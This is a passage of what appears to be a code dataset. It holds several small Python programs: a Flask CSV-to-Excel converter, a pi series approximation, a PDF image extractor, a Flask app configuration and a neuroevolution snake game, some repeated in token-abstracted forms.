'/downloads/'\nALLOWED_EXTENSIONS = {'csv', 'txt'}\napp = Flask(__name__, static_url_path='/static')\nDIR_PATH = os.path.dirname(os.path.realpath(__file__))\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['DOWNLOAD_FOLDER'] = DOWNLOAD_FOLDER\napp.config['MAX_CONTENT_LENGTH'] = 8 * 1024 * 1024\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower(\n ) in ALLOWED_EXTENSIONS\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n if 'file' not in request.files:\n print('No file attached in request')\n return redirect(request.url)\n file = request.files['file']\n if file.filename == '':\n print('No file selected')\n return redirect(request.url)\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename\n ), filename)\n return redirect(url_for('uploaded_file', filename=filename))\n return render_template('index.html')\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n\n\ndef check_encoding(path, filename):\n with open(path, 'rb') as rawdata:\n result = chardet.detect(rawdata.read(10000))\n df = pd.read_csv(path, encoding=result['encoding'])\n GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit(\n '.', 1)[0] + '.xlsx')\n df.to_excel(GFG, index=False, encoding='utf-8')\n GFG.save()\n\n\[email protected]('/uploads/<filename>')\ndef uploaded_file(filename):\n return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.\n rsplit('.', 1)[0] + '.xlsx', as_attachment=True)\n\n\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n", "<import token>\n<assignment token>\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower(\n ) in ALLOWED_EXTENSIONS\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n if 'file' not in request.files:\n print('No file attached in request')\n return redirect(request.url)\n file = request.files['file']\n if file.filename == '':\n print('No file selected')\n return redirect(request.url)\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename\n ), filename)\n return redirect(url_for('uploaded_file', filename=filename))\n return render_template('index.html')\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n\n\ndef check_encoding(path, filename):\n with open(path, 'rb') as rawdata:\n result = chardet.detect(rawdata.read(10000))\n df = pd.read_csv(path, encoding=result['encoding'])\n GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit(\n '.', 1)[0] + '.xlsx')\n df.to_excel(GFG, index=False, encoding='utf-8')\n GFG.save()\n\n\[email protected]('/uploads/<filename>')\ndef uploaded_file(filename):\n return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.\n rsplit('.', 1)[0] + '.xlsx', as_attachment=True)\n\n\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n", "<import token>\n<assignment token>\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower(\n ) in ALLOWED_EXTENSIONS\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n if 'file' not in request.files:\n print('No file attached in request')\n return redirect(request.url)\n file = request.files['file']\n if file.filename == '':\n print('No file selected')\n return redirect(request.url)\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename\n ), filename)\n return redirect(url_for('uploaded_file', filename=filename))\n return render_template('index.html')\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n\n\ndef check_encoding(path, filename):\n with open(path, 'rb') as rawdata:\n result = chardet.detect(rawdata.read(10000))\n df = pd.read_csv(path, encoding=result['encoding'])\n GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit(\n '.', 1)[0] + '.xlsx')\n df.to_excel(GFG, index=False, encoding='utf-8')\n GFG.save()\n\n\[email protected]('/uploads/<filename>')\ndef uploaded_file(filename):\n return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.\n rsplit('.', 1)[0] + '.xlsx', as_attachment=True)\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower(\n ) in ALLOWED_EXTENSIONS\n\n\n<function token>\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n\n\ndef check_encoding(path, filename):\n with open(path, 'rb') as rawdata:\n result = chardet.detect(rawdata.read(10000))\n df = pd.read_csv(path, encoding=result['encoding'])\n GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit(\n '.', 1)[0] + '.xlsx')\n df.to_excel(GFG, index=False, encoding='utf-8')\n GFG.save()\n\n\[email protected]('/uploads/<filename>')\ndef uploaded_file(filename):\n return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.\n rsplit('.', 1)[0] + '.xlsx', as_attachment=True)\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower(\n ) in ALLOWED_EXTENSIONS\n\n\n<function token>\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n\n\n<function token>\n\n\[email protected]('/uploads/<filename>')\ndef uploaded_file(filename):\n return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.\n rsplit('.', 1)[0] + '.xlsx', as_attachment=True)\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower(\n ) in ALLOWED_EXTENSIONS\n\n\n<function token>\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n\n\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n\n\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]
false
9,964
466148395a4141793b5f92c84513fd093876db76
#-------------------------------------------------------- # File------------project2.py # Developer-------Paige Weber # Course----------CS1213-03 # Project---------Project #1 # Due-------------September 26, 2017 # # This program uses Gregory-Leibniz series to compute # an approximate value of pi. #-------------------------------------------------------- number_of_terms = int(input("How many terms? ")) number_of_terms = number_of_terms + 1 if number_of_terms >= 1: add_approximation = 0 for count in range (1, number_of_terms): approximation = (((-1)**(count + 1))/(2 * count - 1)) add_approximation = approximation + add_approximation solution = add_approximation * 4 print("Approxiation of pi: %1.5f"%solution) else: print("The number of terms must be greater than zero.")
[ "#--------------------------------------------------------\n# File------------project2.py\n# Developer-------Paige Weber\n# Course----------CS1213-03\n# Project---------Project #1\n# Due-------------September 26, 2017\n#\n# This program uses Gregory-Leibniz series to compute\n# an approximate value of pi.\n#--------------------------------------------------------\nnumber_of_terms = int(input(\"How many terms? \"))\nnumber_of_terms = number_of_terms + 1\nif number_of_terms >= 1:\n\n add_approximation = 0\n\n for count in range (1, number_of_terms):\n approximation = (((-1)**(count + 1))/(2 * count - 1))\n add_approximation = approximation + add_approximation\n solution = add_approximation * 4\n\n print(\"Approxiation of pi: %1.5f\"%solution)\n\nelse:\n print(\"The number of terms must be greater than zero.\")\n", "number_of_terms = int(input('How many terms? '))\nnumber_of_terms = number_of_terms + 1\nif number_of_terms >= 1:\n add_approximation = 0\n for count in range(1, number_of_terms):\n approximation = (-1) ** (count + 1) / (2 * count - 1)\n add_approximation = approximation + add_approximation\n solution = add_approximation * 4\n print('Approxiation of pi: %1.5f' % solution)\nelse:\n print('The number of terms must be greater than zero.')\n", "<assignment token>\nif number_of_terms >= 1:\n add_approximation = 0\n for count in range(1, number_of_terms):\n approximation = (-1) ** (count + 1) / (2 * count - 1)\n add_approximation = approximation + add_approximation\n solution = add_approximation * 4\n print('Approxiation of pi: %1.5f' % solution)\nelse:\n print('The number of terms must be greater than zero.')\n", "<assignment token>\n<code token>\n" ]
false
9,965
5f237a820832181395de845cc25b661878c334e4
final=[] refer={2:'abc',3:'def',4:'ghi',5:'jkl',6:'mno',7:'pqrs',8:'tuv',9:'wxyz'} ##Complete this function def possibleWords(a,N,index=0,s=''): ##Your code here if index==N: final.append(s) print(s, end=' ') return possible_chars=refer[a[0]] for i in possible_chars: s+= i possibleWords(a[1:],N,index+1,s) s=s[:-1]
[ "final=[]\nrefer={2:'abc',3:'def',4:'ghi',5:'jkl',6:'mno',7:'pqrs',8:'tuv',9:'wxyz'}\n##Complete this function\ndef possibleWords(a,N,index=0,s=''):\n ##Your code here\n \n if index==N:\n final.append(s)\n print(s, end=' ')\n return\n \n possible_chars=refer[a[0]]\n for i in possible_chars:\n \n s+= i\n possibleWords(a[1:],N,index+1,s)\n s=s[:-1]\n \n \n \n \n", "final = []\nrefer = {(2): 'abc', (3): 'def', (4): 'ghi', (5): 'jkl', (6): 'mno', (7):\n 'pqrs', (8): 'tuv', (9): 'wxyz'}\n\n\ndef possibleWords(a, N, index=0, s=''):\n if index == N:\n final.append(s)\n print(s, end=' ')\n return\n possible_chars = refer[a[0]]\n for i in possible_chars:\n s += i\n possibleWords(a[1:], N, index + 1, s)\n s = s[:-1]\n", "<assignment token>\n\n\ndef possibleWords(a, N, index=0, s=''):\n if index == N:\n final.append(s)\n print(s, end=' ')\n return\n possible_chars = refer[a[0]]\n for i in possible_chars:\n s += i\n possibleWords(a[1:], N, index + 1, s)\n s = s[:-1]\n", "<assignment token>\n<function token>\n" ]
false
9,966
c6113088f45951bc4c787760b6ca0138265fb83f
import requests from os.path import join, exists import os import fitz from tqdm import tqdm from pathlib import Path import tempfile def download_pdf(url, folder, name): r = requests.get(url, allow_redirects=True) file_path = join(folder, name + ".pdf") open(file_path, 'wb').write(r.content) return file_path def download_pdf_to_temp(url): new_file, filename = tempfile.mkstemp() r = requests.get(url, allow_redirects=True) os.write(new_file, r.content) return new_file, filename def save_pdf_image(file_path, dest_path): Path(dest_path).mkdir(parents=True, exist_ok=True) doc = fitz.open(file_path) i = 1 images_name = list() xrefs = sorted([xref[0] for xref in doc.getPageImageList(0) if not(xref[0] in [10, 25, 26])]) maximum_digits = len(str(len(xrefs)*3)) for xref in tqdm(xrefs): pix = fitz.Pixmap(doc, xref) index = f'{i:0{maximum_digits}}' img_name = "image--{}.jpg".format(index) img_path = join(dest_path, img_name) if not(exists(img_path)): if pix.n >= 5: pix = fitz.Pixmap(fitz.csRGB, pix) pix.writeImage(img_path) images_name.append(xref) i += 3 def pdf_2_images(url, dest_path): new_file, filename = download_pdf_to_temp(url) save_pdf_image(filename, dest_path) os.close(new_file)
[ "import requests\nfrom os.path import join, exists\nimport os\nimport fitz\nfrom tqdm import tqdm\nfrom pathlib import Path\nimport tempfile\n\n\ndef download_pdf(url, folder, name):\n r = requests.get(url, allow_redirects=True)\n file_path = join(folder, name + \".pdf\")\n open(file_path, 'wb').write(r.content)\n return file_path\n\n\ndef download_pdf_to_temp(url):\n new_file, filename = tempfile.mkstemp()\n r = requests.get(url, allow_redirects=True)\n os.write(new_file, r.content)\n return new_file, filename\n\n\ndef save_pdf_image(file_path, dest_path):\n Path(dest_path).mkdir(parents=True, exist_ok=True)\n doc = fitz.open(file_path)\n i = 1\n images_name = list()\n xrefs = sorted([xref[0] for xref in doc.getPageImageList(0) if not(xref[0] in [10, 25, 26])])\n maximum_digits = len(str(len(xrefs)*3))\n for xref in tqdm(xrefs):\n pix = fitz.Pixmap(doc, xref)\n index = f'{i:0{maximum_digits}}'\n img_name = \"image--{}.jpg\".format(index)\n img_path = join(dest_path, img_name)\n if not(exists(img_path)):\n if pix.n >= 5:\n pix = fitz.Pixmap(fitz.csRGB, pix)\n pix.writeImage(img_path)\n images_name.append(xref)\n i += 3\n\n\ndef pdf_2_images(url, dest_path):\n new_file, filename = download_pdf_to_temp(url)\n save_pdf_image(filename, dest_path)\n os.close(new_file)", "import requests\nfrom os.path import join, exists\nimport os\nimport fitz\nfrom tqdm import tqdm\nfrom pathlib import Path\nimport tempfile\n\n\ndef download_pdf(url, folder, name):\n r = requests.get(url, allow_redirects=True)\n file_path = join(folder, name + '.pdf')\n open(file_path, 'wb').write(r.content)\n return file_path\n\n\ndef download_pdf_to_temp(url):\n new_file, filename = tempfile.mkstemp()\n r = requests.get(url, allow_redirects=True)\n os.write(new_file, r.content)\n return new_file, filename\n\n\ndef save_pdf_image(file_path, dest_path):\n Path(dest_path).mkdir(parents=True, exist_ok=True)\n doc = fitz.open(file_path)\n i = 1\n images_name = list()\n xrefs = sorted([xref[0] for xref in doc.getPageImageList(0) if not xref\n [0] in [10, 25, 26]])\n maximum_digits = len(str(len(xrefs) * 3))\n for xref in tqdm(xrefs):\n pix = fitz.Pixmap(doc, xref)\n index = f'{i:0{maximum_digits}}'\n img_name = 'image--{}.jpg'.format(index)\n img_path = join(dest_path, img_name)\n if not exists(img_path):\n if pix.n >= 5:\n pix = fitz.Pixmap(fitz.csRGB, pix)\n pix.writeImage(img_path)\n images_name.append(xref)\n i += 3\n\n\ndef pdf_2_images(url, dest_path):\n new_file, filename = download_pdf_to_temp(url)\n save_pdf_image(filename, dest_path)\n os.close(new_file)\n", "<import token>\n\n\ndef download_pdf(url, folder, name):\n r = requests.get(url, allow_redirects=True)\n file_path = join(folder, name + '.pdf')\n open(file_path, 'wb').write(r.content)\n return file_path\n\n\ndef download_pdf_to_temp(url):\n new_file, filename = tempfile.mkstemp()\n r = requests.get(url, allow_redirects=True)\n os.write(new_file, r.content)\n return new_file, filename\n\n\ndef save_pdf_image(file_path, dest_path):\n Path(dest_path).mkdir(parents=True, exist_ok=True)\n doc = fitz.open(file_path)\n i = 1\n images_name = list()\n xrefs = sorted([xref[0] for xref in doc.getPageImageList(0) if not xref\n [0] in [10, 25, 26]])\n maximum_digits = len(str(len(xrefs) * 3))\n for xref in tqdm(xrefs):\n pix = fitz.Pixmap(doc, xref)\n index = f'{i:0{maximum_digits}}'\n img_name = 'image--{}.jpg'.format(index)\n img_path = join(dest_path, img_name)\n if not exists(img_path):\n if pix.n >= 5:\n pix = fitz.Pixmap(fitz.csRGB, pix)\n pix.writeImage(img_path)\n images_name.append(xref)\n i += 3\n\n\ndef pdf_2_images(url, dest_path):\n new_file, filename = download_pdf_to_temp(url)\n save_pdf_image(filename, dest_path)\n os.close(new_file)\n", "<import token>\n\n\ndef download_pdf(url, folder, name):\n r = requests.get(url, allow_redirects=True)\n file_path = join(folder, name + '.pdf')\n open(file_path, 'wb').write(r.content)\n return file_path\n\n\ndef download_pdf_to_temp(url):\n new_file, filename = tempfile.mkstemp()\n r = requests.get(url, allow_redirects=True)\n os.write(new_file, r.content)\n return new_file, filename\n\n\n<function token>\n\n\ndef pdf_2_images(url, dest_path):\n new_file, filename = download_pdf_to_temp(url)\n save_pdf_image(filename, dest_path)\n os.close(new_file)\n", "<import token>\n\n\ndef download_pdf(url, folder, name):\n r = requests.get(url, allow_redirects=True)\n file_path = join(folder, name + '.pdf')\n open(file_path, 'wb').write(r.content)\n return file_path\n\n\n<function token>\n<function token>\n\n\ndef pdf_2_images(url, dest_path):\n new_file, filename = download_pdf_to_temp(url)\n save_pdf_image(filename, dest_path)\n os.close(new_file)\n", "<import token>\n\n\ndef download_pdf(url, folder, name):\n r = requests.get(url, allow_redirects=True)\n file_path = join(folder, name + '.pdf')\n open(file_path, 'wb').write(r.content)\n return file_path\n\n\n<function token>\n<function token>\n<function token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n" ]
false
9,967
f20e2227821c43de17c116d8c11233eda53ab631
import os import logging from flask import Flask from flask_orator import Orator from flask_jwt_extended import JWTManager from dotenv import load_dotenv load_dotenv(verbose=True) app = Flask(__name__) app.secret_key = os.getenv('SECRET_KEY') app.config['JSON_SORT_KEYS'] = False app.config['ORATOR_DATABASES'] = { 'default': 'mysql', 'mysql': { 'driver': 'mysql', 'host': os.getenv('DB_HOST'), 'database': os.getenv('DB_NAME'), 'user': os.getenv('DB_USER'), 'password': os.getenv('DB_PASSWORD'), 'prefix': '', 'log_queries': bool(os.getenv('LOG_QUERIES')) } } app.config['JWT_SECRET_KEY'] = os.getenv('JWT_SECRET_KEY') # Change this! app.config['JWT_TOKEN_LOCATION'] = ['headers'] # headers', 'cookies', 'query_string', 'json' db = Orator(app) jwt = JWTManager(app) if bool(os.getenv('IS_DEV')): logger = logging.getLogger('orator.connection.queries') logger.setLevel(logging.DEBUG) formatter = logging.Formatter( '%(elapsed_time)sms %(query)s' ) handler = logging.StreamHandler() handler.setFormatter(formatter) logger.addHandler(handler) @app.route('/') def index(): return os.getenv('DB_HOST')
[ "import os\nimport logging\nfrom flask import Flask\nfrom flask_orator import Orator\nfrom flask_jwt_extended import JWTManager\nfrom dotenv import load_dotenv\n\n\nload_dotenv(verbose=True)\n\napp = Flask(__name__)\napp.secret_key = os.getenv('SECRET_KEY')\napp.config['JSON_SORT_KEYS'] = False\napp.config['ORATOR_DATABASES'] = {\n 'default': 'mysql',\n 'mysql': {\n 'driver': 'mysql',\n 'host': os.getenv('DB_HOST'),\n 'database': os.getenv('DB_NAME'),\n 'user': os.getenv('DB_USER'),\n 'password': os.getenv('DB_PASSWORD'),\n 'prefix': '',\n 'log_queries': bool(os.getenv('LOG_QUERIES'))\n }\n}\n\napp.config['JWT_SECRET_KEY'] = os.getenv('JWT_SECRET_KEY') # Change this!\napp.config['JWT_TOKEN_LOCATION'] = ['headers'] # headers', 'cookies', 'query_string', 'json'\n\ndb = Orator(app)\njwt = JWTManager(app)\n\nif bool(os.getenv('IS_DEV')):\n\n logger = logging.getLogger('orator.connection.queries')\n logger.setLevel(logging.DEBUG)\n\n formatter = logging.Formatter(\n '%(elapsed_time)sms %(query)s'\n )\n\n handler = logging.StreamHandler()\n handler.setFormatter(formatter)\n\n logger.addHandler(handler)\n\n\[email protected]('/')\ndef index():\n return os.getenv('DB_HOST')\n", "import os\nimport logging\nfrom flask import Flask\nfrom flask_orator import Orator\nfrom flask_jwt_extended import JWTManager\nfrom dotenv import load_dotenv\nload_dotenv(verbose=True)\napp = Flask(__name__)\napp.secret_key = os.getenv('SECRET_KEY')\napp.config['JSON_SORT_KEYS'] = False\napp.config['ORATOR_DATABASES'] = {'default': 'mysql', 'mysql': {'driver':\n 'mysql', 'host': os.getenv('DB_HOST'), 'database': os.getenv('DB_NAME'),\n 'user': os.getenv('DB_USER'), 'password': os.getenv('DB_PASSWORD'),\n 'prefix': '', 'log_queries': bool(os.getenv('LOG_QUERIES'))}}\napp.config['JWT_SECRET_KEY'] = os.getenv('JWT_SECRET_KEY')\napp.config['JWT_TOKEN_LOCATION'] = ['headers']\ndb = Orator(app)\njwt = JWTManager(app)\nif bool(os.getenv('IS_DEV')):\n logger = logging.getLogger('orator.connection.queries')\n logger.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(elapsed_time)sms %(query)s')\n handler = logging.StreamHandler()\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n\n\[email protected]('/')\ndef index():\n return os.getenv('DB_HOST')\n", "<import token>\nload_dotenv(verbose=True)\napp = Flask(__name__)\napp.secret_key = os.getenv('SECRET_KEY')\napp.config['JSON_SORT_KEYS'] = False\napp.config['ORATOR_DATABASES'] = {'default': 'mysql', 'mysql': {'driver':\n 'mysql', 'host': os.getenv('DB_HOST'), 'database': os.getenv('DB_NAME'),\n 'user': os.getenv('DB_USER'), 'password': os.getenv('DB_PASSWORD'),\n 'prefix': '', 'log_queries': bool(os.getenv('LOG_QUERIES'))}}\napp.config['JWT_SECRET_KEY'] = os.getenv('JWT_SECRET_KEY')\napp.config['JWT_TOKEN_LOCATION'] = ['headers']\ndb = Orator(app)\njwt = JWTManager(app)\nif bool(os.getenv('IS_DEV')):\n logger = logging.getLogger('orator.connection.queries')\n logger.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(elapsed_time)sms %(query)s')\n handler = logging.StreamHandler()\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n\n\[email protected]('/')\ndef index():\n return os.getenv('DB_HOST')\n", "<import token>\nload_dotenv(verbose=True)\n<assignment token>\nif bool(os.getenv('IS_DEV')):\n logger = logging.getLogger('orator.connection.queries')\n logger.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(elapsed_time)sms %(query)s')\n handler = logging.StreamHandler()\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n\n\[email protected]('/')\ndef index():\n return os.getenv('DB_HOST')\n", "<import token>\n<code token>\n<assignment token>\n<code token>\n\n\[email protected]('/')\ndef index():\n return os.getenv('DB_HOST')\n", "<import token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n" ]
false
9,968
beccae96b3b2c9dcd61bb538d07b85441a73662e
number = int(input("entrez un entier:")) exposant = int(input("entrez un exposant:")) def puissance(x, n): if n == 0: return 1 else: return x * puissance(x, n-1) print(puissance(number, exposant))
[ "number = int(input(\"entrez un entier:\"))\nexposant = int(input(\"entrez un exposant:\"))\n\ndef puissance(x, n):\n if n == 0:\n return 1\n else:\n return x * puissance(x, n-1)\n\n\nprint(puissance(number, exposant))\n", "number = int(input('entrez un entier:'))\nexposant = int(input('entrez un exposant:'))\n\n\ndef puissance(x, n):\n if n == 0:\n return 1\n else:\n return x * puissance(x, n - 1)\n\n\nprint(puissance(number, exposant))\n", "<assignment token>\n\n\ndef puissance(x, n):\n if n == 0:\n return 1\n else:\n return x * puissance(x, n - 1)\n\n\nprint(puissance(number, exposant))\n", "<assignment token>\n\n\ndef puissance(x, n):\n if n == 0:\n return 1\n else:\n return x * puissance(x, n - 1)\n\n\n<code token>\n", "<assignment token>\n<function token>\n<code token>\n" ]
false
9,969
fc1b9ab1fb1ae71d70b3bf5c879a5f604ddef997
import random import sys import math import numpy as np import tensorflow as tf from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Flatten, Conv2D, Activation from snake_game import Snake from snake_game import Fruit import pygame from pygame.locals import * # Neural Network globals total_models = 50 current_pool = [] fitness = [] generation = 264 # 1 if want to save pool, 0 if not save = 0 save_location = "Saved_Models/model" load = 1 load_location = "Saved_Models-better/model" # Game configurations WIDTH = 480 HEIGHT = 480 GRID_D = 12 BLOCK_W = WIDTH / GRID_D BLOCK_H = HEIGHT / GRID_D MAX_MOVES = 150 score = [] # Save models to file def save_pool(): for i in range(total_models): current_pool[i].save_weights(save_location + str(i) + ".keras") print("Pool saved") def create_model(): ''' Create Neural Network as a keras model ''' model = Sequential() model.add(Dense(12, input_dim = 8, activation = 'relu')) model.add(Dense(16, activation = 'relu')) model.add(Dense(4, activation = 'sigmoid')) model.compile(loss='mse', optimizer='adam') return model def predict_direction(snake, fruit, model_num): ''' This function feeds information into the model, then determines which direction the snake should go ''' direction = snake.check_head() fruit = snake.check_fruit(fruit) n_input = np.concatenate([direction, fruit]) n_input = np.atleast_2d(n_input) output = current_pool[model_num].predict(n_input, 1) return output.argmax() def model_crossover(parent_1, parent_2): ''' Produce offspring based on the best parents ''' global current_pool # Weight of parents weight1 = current_pool[parent_1].get_weights() weight2 = current_pool[parent_2].get_weights() new_weight1 = weight1 new_weight2 = weight2 # Gene gene = random.randint(0, len(new_weight1) - 1) new_weight1[gene] = weight2[gene] new_weight2[gene] = weight1[gene] return np.asarray([new_weight1, new_weight2]) def model_mutate(weights): ''' Mutate the weights of a model ''' for i in range(len(weights)): for j in range(len(weights[i])): if (random.uniform(0, 1) > .7): change = random.uniform(-.5,.5) weights[i][j] += change return weights def roulette_selection(total_fitness): global fitness choice = random.randint(0, total_fitness) parent = 0 current = 0 for idx in range(total_models): current += fitness[idx] if current > choice: parent = idx break return parent def genetic_updates(): global current_pool global fitness global generation new_weights = [] # Calculate total fitness total_fitness = sum(fitness) # Breeding time for i in range(total_models // 2): # Pick two parents parent_1 = roulette_selection(total_fitness) parent_2 = roulette_selection(total_fitness) # Model crossover between two parents new = model_crossover(parent_1, parent_2) # Mutate models update_w1 = model_mutate(new[0]) update_w2 = model_mutate(new[1]) new_weights.append(update_w1) new_weights.append(update_w2) # Set new weights, reset fitness for i in range(len(new_weights)): current_pool[i].set_weights(new_weights[i]) generation += 1 return def check_if_closer(snake, fruit): head = snake.position[0] prev = snake.position[1] # Calculate the heads distance from the fruit, and the previous spot # to see if it got closer head_dis = math.sqrt((fruit.pos[0] - head[0]) ** 2 + (fruit.pos[1] - head[1]) ** 2) prev_dis = math.sqrt((fruit.pos[0] - prev[0]) ** 2 + (fruit.pos[1] - prev[1]) ** 2) if head_dis > prev_dis: return False return True class App: ''' Main App for game ''' def __init__(self): self._running = True self._display_surf = None self.size = self.width, self.height = WIDTH, HEIGHT self.clock = None self.snake = Snake() self.fruit = Fruit() self.pause = False self.moves = 0 self.frames = 11 def on_init(self): pygame.init() self._display_surf = pygame.display.set_mode(self.size, pygame.HWSURFACE | pygame.DOUBLEBUF) self._running = True self.clock = pygame.time.Clock() def on_event(self, event): # Quit game if event.type == pygame.QUIT: self._running = False # Change direction of snake if event.type == pygame.KEYDOWN: if event.key == K_UP: # Increase speed of game if self.frames < 1000000000: self.frames *= 10 elif event.key == K_DOWN: # Decrease speed of game if self.frames > 10: self.frames /= 10 elif event.key == K_p: self.pause = not self.pause elif event.key == K_q: self.on_cleanup() def on_loop(self, model_num): self.snake.alive = self.snake.collision(self.snake.position[0]) if self.snake.alive is False: return if self.snake.eat(self.fruit) is True: # Adjust fitness, reset move counter fitness[model_num] += 150 score[model_num] += 1 self.moves = 0 self.snake.update() if check_if_closer(self.snake, self.fruit): # Reward snake for moving towards fruit fitness[model_num] += 10 self.moves += 1 def on_render(self, model_num): self._display_surf.fill((0,124,0)) # Fill every other space to create a multi color grid for i in range(0, int(GRID_D)): for j in range(0, int(GRID_D)): if (i + j) % 2 == 0: block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (BLOCK_W, BLOCK_H))) pygame.draw.rect(self._display_surf, (0, 200, 0), block) # Draw sanke and fruit self.fruit.draw(self._display_surf) self.snake.draw(self._display_surf) pygame.display.set_caption("Gen: " + str(generation) + " Model: " + str(model_num) + " Score: " + str(self.snake.score) + " Tick " + str(self.frames)) pygame.display.update() def on_cleanup(self): pygame.quit() sys.exit() def on_execute(self, i): if self.on_init() == False: self._running = False while (self._running): for event in pygame.event.get(): self.on_event(event) self.snake.direction = predict_direction(self.snake, self.fruit, i) # Checks if game is paused if self.pause is False: self.on_loop(i) self.on_render(i) self.clock.tick(self.frames) # Reset when snake dies if self.snake.alive == False or self.moves == MAX_MOVES: print(int(self.snake.score)) self.snake.reset() self.fruit.random_generate() self.moves = 0 # Print fitness print(fitness[i]) break # Clean up and print score # self.on_cleanup() print(int(self.snake.score)) if __name__ == "__main__" : # Init models for i in range(total_models): model = create_model() current_pool.append(model) fitness.append(-100) score.append(0) if load == 1: for i in range(total_models): current_pool[i].load_weights(load_location + str(i) + ".keras") theApp = App() while True: # Reset fitness scores and player scores for i in range(total_models): fitness[i] = 0 score[i] = 0 # Play game for each model for i in range(total_models): theApp.on_execute(i) # Print high score to screen print("Higest score: " + str(max(score)) + " Model: " + str(score.index(max(score))) + " Gen: " + str(generation)) # Write these values to a file # fi = open("results.txt", "a+") # fi.write("Higest score: " + str(max(score)) + " Model: " + str(score.index(max(score))) + " Gen: " + str(generation) + "\r\n") # fi.close() # Save pool if save == 1: save_pool() genetic_updates()
[ "import random\nimport sys\nimport math\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Flatten, Conv2D, Activation\n\nfrom snake_game import Snake\nfrom snake_game import Fruit\nimport pygame\nfrom pygame.locals import *\n\n# Neural Network globals\ntotal_models = 50\ncurrent_pool = []\nfitness = []\ngeneration = 264\n\n# 1 if want to save pool, 0 if not\nsave = 0\nsave_location = \"Saved_Models/model\"\nload = 1\nload_location = \"Saved_Models-better/model\"\n\n# Game configurations\nWIDTH = 480\nHEIGHT = 480\nGRID_D = 12\nBLOCK_W = WIDTH / GRID_D\nBLOCK_H = HEIGHT / GRID_D\nMAX_MOVES = 150\nscore = []\n\n# Save models to file\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + \".keras\")\n print(\"Pool saved\")\n\n\ndef create_model():\n '''\n Create Neural Network as a keras model\n '''\n model = Sequential()\n model.add(Dense(12, input_dim = 8, activation = 'relu'))\n model.add(Dense(16, activation = 'relu'))\n model.add(Dense(4, activation = 'sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n\n return model\n\ndef predict_direction(snake, fruit, model_num):\n '''\n This function feeds information into the model, then determines\n which direction the snake should go\n '''\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n\n output = current_pool[model_num].predict(n_input, 1)\n \n return output.argmax()\n\ndef model_crossover(parent_1, parent_2):\n '''\n Produce offspring based on the best parents\n '''\n global current_pool\n\n # Weight of parents\n weight1 = current_pool[parent_1].get_weights()\n weight2 = current_pool[parent_2].get_weights()\n new_weight1 = weight1\n new_weight2 = weight2\n\n # Gene\n gene = random.randint(0, len(new_weight1) - 1)\n\n new_weight1[gene] = weight2[gene]\n new_weight2[gene] = weight1[gene]\n return np.asarray([new_weight1, new_weight2])\n\ndef model_mutate(weights):\n '''\n Mutate the weights of a model\n '''\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if (random.uniform(0, 1) > .7):\n change = 